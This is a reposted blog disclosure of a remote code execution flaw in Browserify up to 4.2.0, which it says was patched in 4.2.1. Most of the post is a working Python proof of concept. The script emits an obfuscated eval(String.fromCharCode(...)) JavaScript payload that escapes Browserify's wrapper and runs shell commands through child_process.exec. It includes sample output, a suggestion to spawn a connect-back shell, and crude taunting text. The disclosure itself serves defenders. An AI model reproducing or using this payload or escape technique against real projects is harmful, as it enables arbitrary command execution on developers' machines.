2014 m. liepos 17 d., ketvirtadienis

Node Browserify RCE vuln (<= 4.2.0)

Hello,

Discovered an RCE vuln in Browserify <=4.2.0.

Maintainer patched upstream just 4 hours after responsible disclosure
yesterday, now fixed as of 4.2.1.

Summary and POC found here:
http://iops.io/blog/browserify-rce-vulnerability/

Summary

Today I discovered an RCE (Remote Code Execution) vulnerability in Browserify <=4.2.0, apparently caused by unsafe parsing of (Function(){}) in Node <=0.10 used by node-syntax-error.
This was fixed approx 4 hours later by James Halliday in #9aa4e66e and details can be seenhere. Upgrade to Browserify =>4.2.1 to avoid this vuln.
It's also worth noting there are probably several other libraries that are vulnerable to this behavior in Node <=0.10, but I haven't got time to check them all.
Small shout/thanks to @info_dox for the charencode() idea, taken from nodejsshell.py

Proof of concept

12345678910111213141516171819202122232425262728293031323334353637383940414243
#!/usr/bin/python
"""
Browserify POC exploit
http://iops.io/blog/browserify-rce-vulnerability/
To run, just do:
$ python poc.py > exploit.js
$ browserify exploit.js
BITCH I TOLD YOU THIS SHIT IS FABULOUS
[[garbage output]]
},{}]},{},[1]) 00:08:32 up 12:29, 3 users, load average: 0.00, 0.02, 0.05
uid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse)
You can also spawn() and create a connect back shell.
Enjoy
"""
def charencode(string):
encoded=''
for char in string:
encoded=encoded+","+str(ord(char))
return encoded[1:]
plaintext = """
var require = this.process.mainModule.require;
var sys = require('sys')
var exec = require('child_process').exec;
function puts(error, stdout, stderr) { sys.puts(stdout) }
exec("uptime && id", puts);
console.log("BITCH I TOLD YOU THIS SHIT IS FABULOUS");
"""
payload = charencode(plaintext)
final = "eval(String.fromCharCode(%s));" %(payload)
print "});"
print final
print "(function(){"

Komentarų nėra:

Rašyti komentarą